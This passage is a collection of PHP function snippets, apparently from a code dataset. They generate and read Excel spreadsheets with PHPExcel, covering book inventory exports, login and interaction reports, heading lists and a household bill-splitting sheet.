$excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function extract(){\n $datamine_row = $datamine_col = $header = array();\n $i = 0; $j = 0;\n \n // Groups all excel data by row\n for ($row = 1; $row <= $this->highestRow; $row++) {\n $rowData = $this->sheet->rangeToArray('A' . $row . ':' . $this->highestColumn . $row, null, true, false);\n if(empty($header)){\n $header=$rowData[0];\n }else{\n for($col=0;$col<count($header);$col++){\n $datamine_row[$i][$header[$col]] = $rowData[0][$col]; \n }\n $i++;\n }\n }\n $this->data_row = $datamine_row;\n \n // Re-group all excel data by column\n foreach($datamine_row as $data){\n foreach($header as $grp){\n $datamine_col[$grp][$j] = $data[$grp];\n }\n $j++;\n }\n $this->data_col = $datamine_col;\n }", "function call_to_export($export){\n\t$objPHPExcel = new PHPExcel();\n\n\t// Set document properties\n\t$objPHPExcel->getProperties()\n\t\t->setCreator(\"QPP REPORTS\")\n\t\t->setLastModifiedBy(\"QPP REPORTS\")\n\t\t->setTitle(\"Office 2007 XLSX Document\")\n\t\t->setSubject(\"Office 2007 XLSX Document\")\n\t\t->setDescription(\"QPP REPORTS\")\n\t\t->setKeywords(\"office 2007 openxml php\")\n\t\t->setCategory(\"Reports\");\n\n\t$styleArray = array(\n\t\t'font' => array(\n\t\t\t'bold' => true,\n\t\t\t'color' => array('rgb' => '1A6FCD'),\n\t\t\t'size' => 10,\n\t\t\t'name' => 'arial',\n\t\t\t'underline' => 'single',\n\t\t)\n\t);\n\t\n\tif(isset($export['users_logins'])){\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$sheet_logins = $objPHPExcel->getActiveSheet(0);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_logins->setTitle($export['users_logins']['sheet1']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_logins->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_logins->mergeCells('A1:I1');\n\t\t$sheet_logins->SetCellValue('A1',$export['users_logins']['sheet1']['report_title']);\n\t\t$sheet_logins->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_logins->mergeCells('A2:I2');\n\t\t$sheet_logins->SetCellValue('A2',$export['users_logins']['sheet1']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_logins->getColumnDimension('A')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('C')->setWidth(10);\n\t\t$sheet_logins->getColumnDimension('D')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('E')->setWidth(35);\n\t\t$sheet_logins->getColumnDimension('F')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('G')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('H')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('I')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('J')->setWidth(15);\n\t\t$sheet_logins->getColumnDimension('K')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_logins->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column horizontal alignment\n\t\t$sheet_logins->getStyle('K4:K999')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\n\t\t// set wrap text\n\t\t$sheet_logins->getStyle('C3:K999')->getAlignment()->setWrapText(true); \n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_logins']['sheet1']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_logins->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_logins']['sheet1']['header'] as $key){\n\t\t\t\t$sheet_logins->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_logins']['sheet1']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_logins']['sheet1']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_logins->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\t// new worksheet for portal login totals\n\t\t$objPHPExcel->createSheet();\n\t\t$objPHPExcel->setActiveSheetIndex(1);\t\t\t\n\t\t$sheet_logins_total = $objPHPExcel->getActiveSheet(1);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_logins_total->setTitle($export['users_logins']['sheet2']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_logins_total->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_logins_total->mergeCells('A1:I1');\n\t\t$sheet_logins_total->SetCellValue('A1',$export['users_logins']['sheet2']['report_title']);\n\t\t$sheet_logins_total->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_logins_total->mergeCells('A2:I2');\n\t\t$sheet_logins_total->SetCellValue('A2',$export['users_logins']['sheet2']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_logins_total->getColumnDimension('A')->setWidth(35);\n\t\t$sheet_logins_total->getColumnDimension('B')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_logins_total->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_logins']['sheet2']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_logins_total->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_logins']['sheet2']['header'] as $key){\n\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_logins']['sheet2']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_logins']['sheet2']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\n\t\t\tif(isset($export['users_logins']['sheet2']['rows_total'])){\n\t\t\t\t$row = $row+1;\n\t\t\t\tforeach($export['users_logins']['sheet2']['rows_total'] as $rows){\n\t\t\t\t\t$col = 0;\n\t\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\n\t}\n\t\n\tif(isset($export['users_interactions'])){\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$sheet_interactions = $objPHPExcel->getActiveSheet(0);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_interactions->setTitle($export['users_interactions']['sheet1']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_interactions->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_interactions->mergeCells('A1:I1');\n\t\t$sheet_interactions->SetCellValue('A1',$export['users_interactions']['sheet1']['report_title']);\n\t\t$sheet_interactions->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_interactions->mergeCells('A2:I2');\n\t\t$sheet_interactions->SetCellValue('A2',$export['users_interactions']['sheet1']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_interactions->getColumnDimension('A')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('C')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('D')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('E')->setWidth(35);\n\t\t$sheet_interactions->getColumnDimension('F')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('G')->setWidth(35);\n\t\t$sheet_interactions->getColumnDimension('H')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('I')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('J')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('K')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('L')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('M')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_interactions->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column horizontal alignment\n\t\t$sheet_interactions->getStyle('M4:M999')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\n\t\t// set wrap text\n\t\t$sheet_interactions->getStyle('C3:M999')->getAlignment()->setWrapText(true); \n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_interactions']['sheet1']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_interactions->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_interactions']['sheet1']['header'] as $key){\n\t\t\t\t$sheet_interactions->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_interactions']['sheet1']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_interactions']['sheet1']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_interactions->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\t// new worksheet for portal login totals\n\t\t$objPHPExcel->createSheet();\n\t\t$objPHPExcel->setActiveSheetIndex(1);\t\t\t\n\t\t$sheet_interactions_total = $objPHPExcel->getActiveSheet(1);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_interactions_total->setTitle($export['users_interactions']['sheet2']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_interactions_total->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_interactions_total->mergeCells('A1:I1');\n\t\t$sheet_interactions_total->SetCellValue('A1',$export['users_interactions']['sheet2']['report_title']);\n\t\t$sheet_interactions_total->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_interactions_total->mergeCells('A2:I2');\n\t\t$sheet_interactions_total->SetCellValue('A2',$export['users_interactions']['sheet2']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_interactions_total->getColumnDimension('A')->setWidth(35);\n\t\t$sheet_interactions_total->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_interactions_total->getColumnDimension('C')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_interactions_total->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_interactions']['sheet2']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_interactions_total->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_interactions']['sheet2']['header'] as $key){\n\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_interactions']['sheet2']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_interactions']['sheet2']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\n\t\t\tif(isset($export['users_interactions']['sheet2']['rows_total'])){\n\t\t\t\t$row = $row+1;\n\t\t\t\tforeach($export['users_interactions']['sheet2']['rows_total'] as $rows){\n\t\t\t\t\t$col = 0;\n\t\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\n\t}\n\t\n\t$filename = isset($export['filename']) ? $export['filename'] . \".xlsx\" : \"qpp_portal_report_\" . date('m-d-Y_h-i') . \".xlsx\";\n\t\n\t$objPHPExcel->setActiveSheetIndex(0);\n\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"');\n\theader('Cache-Control: max-age=0');\n\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\tob_end_clean();\n\t$objWriter->save('php://output');\n\n\texit;\n}", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value );\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "function createSpreadsheet(){\n\t\t\n\t\n\t\terror_reporting(E_ALL);\n\t\tini_set('display_errors', TRUE);\n\t\tini_set('display_startup_errors', TRUE);\n\t\n\t\tdefine('EOL',(PHP_SAPI == 'cli') ? PHP_EOL : '<br />');\n\t\n\t\t/** Include PHPExcel */\n\t\t//require_once dirname(__FILE__) . '/../Classes/PHPExcel.php';\n\t\t\n\t\trequire_once $GLOBALS['ROOT_PATH'].'Classes/PHPExcel.php';\n\t\n\t\n\t\tPHPExcel_Cell::setValueBinder( new PHPExcel_Cell_AdvancedValueBinder() );\n\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = new PHPExcel();\n\t\t$currentMonth = date('Y-m');\n\t\t$title = $this->getHhName() . ' ' . $currentMonth;\n\t\t\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"HhManagement\")\n\t\t->setLastModifiedBy(\"HhManagement\")\n\t\t->setTitle($title)\n\t\t->setSubject($currentMonth);\n\t\n\t\t//default styles\n\t\t$objPHPExcel->getDefaultStyle()->getFont()->setName('Calibri');\n\t\t$objPHPExcel->getDefaultStyle()->getFont()->setSize(12);\n\t\n\t\n\t\t//styles....\n\t\n\t\t//fonts\n\t\t//font red bold italic centered\n\t\t$fontRedBoldItalicCenter = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\t'alignment' => array (\n\t\t\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font red bold\n\t\t$fontRedBold = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font red\n\t\t$fontRed = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Green\n\t\t$fontGreen = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => '0008B448',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Bold Italic\n\t\t$fontBoldItalic = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Bold Italic Centered\n\t\t$fontBoldItalicCenter = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t),\n\t\t\t\t'alignment' => array (\n\t\t\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER\n\t\t\t\t)\n\t\t);\n\t\n\t\t//background fillings\n\t\t//fill red\n\t\t$fillRed = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill yellow\n\t\t$fillYellow = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF2E500',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill green\n\t\t$fillGreen = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FF92D050',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill gray\n\t\t$fillGray = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFD9D9D9',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill cream\n\t\t$fillCream = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFC4BD97',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//sets the heading for the first table\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B1','Equal AMT');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('C1','Ind. bills');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('D1','To rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D1')->applyFromArray($fillCream);\n\t\n\t\t$numberOfMembers = $this->getNumberOfMembers();\n\t\t$monthTotal = $this->getMonthTotal();\n\t\t$rent = $this->getHhRent();\n\t\t$col = 65;//starts at column A\n\t\t$row = 2;//the table starts at row 2\n\t\n\t\t//array used to associate the bills with the respective user\n\t\t$array =[];\n\t\n\t\t//sets the members names fair amount and value\n\t\t$members = $this->getMembers();\n\t\tforeach ($members as $member) {\n\t\t\t$name = $member->getUserFirstName();\n\t\t\t$cellName = chr($col) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellName,$name);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellName)->applyFromArray($fontBoldItalic);\n\t\n\t\t\t$cellInd = chr($col+2) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellInd,'0.0');\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->applyFromArray($fillRed);\n\t\n\t\t\t$cellFair = chr($col+1) . 